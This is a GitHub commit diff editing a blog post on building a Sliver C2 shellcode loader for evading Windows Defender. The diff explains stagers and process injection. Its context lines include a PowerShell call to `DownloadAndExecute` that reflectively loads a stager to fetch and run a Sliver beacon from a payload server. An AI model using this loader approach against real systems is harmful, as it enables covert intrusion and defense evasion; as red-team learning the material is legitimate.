Skip to content

Commit edb33ba

Browse files
committed
Added stager diagram to Sliver post
1 parent b4ec835 commit edb33ba

2 files changed

Lines changed: 6 additions & 4 deletions

File tree

85.9 KB
Loading

blog/sliver-evasion.md

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -13,11 +13,13 @@ categories: ['Maldev', 'Windows', 'Homelab']
1313
My recent exploration into C2 frameworks led me to BishopFox's [Sliver](https://github.com/BishopFox/sliver) project. While its capabilities are impressive, I quickly encountered a common challenge: Windows Defender's swift detection of beacon payloads on my Windows VM. In order to enhance my red teaming skills, I decided to dig into leveraging [DInvoke](https://github.com/Kara-4search/DInvoke_shellcodeload_CSharp/tree/main), [FilelessPELoader](https://github.com/SaadAhla/FilelessPELoader) and several evasion techniques for building my own Sliver shellcode loader.
1414

1515
## What is a shellcode loader?
16-
A shellcode loader is a small piece of executable code designed to, as its name would suggest, load and execute shellcode (being a larger payload) into a target process's memory. Think of it as the initial delivery mechanism. Shellcode loaders are often go along with techniques like process injection, allowing attackers to run arbitrary code within a legitimate process, that bypass traditional security controls focused on executable files on disk.
16+
A shellcode loader is a small piece of executable code designed to, as its name would suggest, load and execute shellcode (being a larger payload) into a target process's memory. Think of it as the initial delivery mechanism. Shellcode loaders often go along with techniques like process injection, allowing attackers to run arbitrary code within a legitimate process, that bypass traditional security controls focused on executable files on disk.
1717

18-
The loader will act as a **Stage 1** payload (a.k.a. stagers). Its primary purpose is to establish communication with a command and control (C2) or payload server and download the larger, more feature-rich **Stage 2** payload. The second stage payload is the main malicious code that we as an attacker intend to execute on the target system. For this blog post our final payload will be a Sliver beacon.
18+
The loader will act as a **Stage 1** payload (e.g. `stager.txt`). Its primary purpose is to establish communication with a command and control (C2) or payload server and download the larger, more feature-rich (and often encrypted) **Stage 2** payload. The second stage payload is the main malicious code that we as an attacker intend to execute on the target system.
1919

20-
The goal is to create a stager with the following properties:
20+
![Stager diagram](/assets/images/maldev/stager-diagram.png)
21+
22+
For this blog post our final payload will be a Sliver beacon. The goal is to create a stager with the following properties:
2123
1. Natively supported by Windows without too much dependencies.
2224
2. Bypass common defenses found on modern operating systems (e.g. signature checks).
2325
3. Use commonly whitelisted protocols in order to bypass firewall rules and fit in with normal traffic (e.g. web traffic).
@@ -221,7 +223,7 @@ $CompressionAlgorithm = "deflate9"
221223
[serpent.Loader]::DownloadAndExecute($url,$TargetBinary,$CompressionAlgorithm,$AESKey,$AESIV)
222224
```
223225

224-
This script is a PowerShell loader that is hosted on our server, intented to be downloaded and executed once an attacker gains code execution. The script will load the stager into memory via reflection and performs the `DownloadAndExecute` operation of the agent from the staging server.
226+
This script is a PowerShell loader that is hosted on our server, intented to be downloaded and executed once an attacker gains code execution. The script will load the stager into memory via reflection and performs the `DownloadAndExecute` operation that downloads our Sliver agent from our payload server and executes it.
225227

226228
## Sliver in Action
227229
Moving to our attack machine, we run our Python HTTP server where our shellcode is located.

0 commit comments

Comments
 (0)